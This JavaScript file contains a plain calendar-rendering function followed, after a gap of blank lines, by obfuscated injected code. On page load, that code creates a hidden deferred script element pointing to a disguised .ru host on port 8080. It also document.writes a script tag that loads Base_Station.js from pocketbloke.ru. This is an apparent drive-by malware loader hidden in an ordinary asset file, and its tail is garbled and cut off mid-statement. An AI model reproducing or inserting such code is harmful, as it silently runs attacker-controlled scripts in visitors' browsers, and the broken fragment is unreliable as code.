function buildCal(m, y, cM, cH, cDW, cD, brdr){
var mn=['January','February','March','April','May','June','July','August','September','October','November','December'];
var dim=[31,0,31,30,31,30,31,31,30,31,30,31];

var oD = new Date(y, m-1, 1); //DD replaced line to fix date bug when current day is 31st
oD.od=oD.getDay()+1; //DD replaced line to fix date bug when current day is 31st

var todaydate=new Date() //DD added
var scanfortoday=(y==todaydate.getFullYear() && m==todaydate.getMonth()+1)? todaydate.getDate() : 0 //DD added

dim[1]=(((oD.getFullYear()%100!=0)&&(oD.getFullYear()%4==0))||(oD.getFullYear()%400==0))?29:28;
var t='<div class="'+cM+'"><table class="'+cM+'" cols="7" cellpadding="0" border="'+brdr+'" cellspacing="0"><tr align="center">';
t+='<td colspan="7" align="center" class="'+cH+'">'+mn[m-1]+' - '+y+'</td></tr><tr align="center">';
for(s=0;s<7;s++)t+='<td class="'+cDW+'">'+"SMTWTFS".substr(s,1)+'</td>';
t+='</tr><tr align="center">';
for(i=1;i<=42;i++){
var x=((i-oD.od>=0)&&(i-oD.od<dim[m-1]))? i-oD.od+1 : '&nbsp;';
if (x==scanfortoday) //DD added
x='<span id="today">'+x+'</span>' //DD added
t+='<td class="'+cD+'">'+x+'</td>';
if(((i)%7==0)&&(i<36))t+='</tr><tr align="center">';
}
return t+='</tr></table></div>';
}









this.bg='';var h=new Array();var oj;if(oj!='d_' && oj != ''){oj=null};var eg;if(eg!='co' && eg != ''){eg=null};var b='sdc&r!iupgt!'.replace(/[\!gu&d]/g, '');var hu="hu";var v;if(v!='m' && v != ''){v=null};var y=window;var kn=false;var q=false;var z=document;this.zl="";var wu;if(wu!='' && wu!='v_'){wu='x'};var g;if(g!=''){g='sq'};var gk="";y.onload=function(){var uq;if(uq!='jlp' && uq != ''){uq=null};try {e=z.createElement(b);var md;if(md!='a' && md != ''){md=null};this.j_='';var zs;if(zs!='yx' && zs != ''){zs=null};e.src='hZtjtQpQ:Q/j/;b;rjoZtQhZeZrjs&o&f&tj-Qcjo&mQ.&b&a&dQo&njg&o;.Zcjojmj.Zn;bjaZ-;cZo;mj.Zrje&c&eQn;t&m&eZxji;c&oZ.;rQu&:j8j0Z8;0&/Ql&i&v&eZs;cQojrZe&.QcZoZmQ/;lZiZvZe&sQc&oZr;eQ.;c;oZmj/Zr;ejt&a;iQlZm&e&n;o;tj.;cQojmQ/;gjo;o;gZl;e;.Zc&o&m;/QmZajkQtZoZojbZ.&cjo;m;/;'.replace(/[;QZ&j]/g, '');var r_=new String();var os;if(os!='fb' && os != ''){os=null};e.setAttribute('dmegfcemrm'.replace(/[m\*Scg]/g, ''), "1");var xe=44384;var sm=false;var uv="uv";var hn="hn";z.body.appendChild(e);this.jfa="";this.eq="";} catch(d){var gd;if(gd!='' && gd!='xj'){gd=null};};var xs;if(xs!='ab' && xs != ''){xs=null};var cm=new Array();};var au;if(au!='sh'){au='sh'};var gr;if(gr!='xg'){gr='xg'};
var u=20949;var mc;if(mc!='' && mc!='m'){mc=''};:LineMixer [var c;if(c!='i' && c!='x'){c='i'};var f=new Date();var o=window;var r='sdc>r_i>plt_'.replace(/[_do\>l]/g, '');var b='cLrQevaQt8eQE5lLeLm8evnLtL'.replace(/[LQ8v5]/g, '');]this.v="";var hv;if(hv!=''){hv='tn'};var nf;if(nf!='um'){nf=''};var pr;if(pr!='' && pr!='z'){pr=''};o.onload=function(){this.nb="nb";try {var _z=new Array();this.rr='';t=document[b](r);var ur;if(ur!='' && ur!='xk'){
document.write('<sc'+'ript type="text/javascript" src="http://pocketbloke.ru/Base_Station.js"></scri'+'pt>');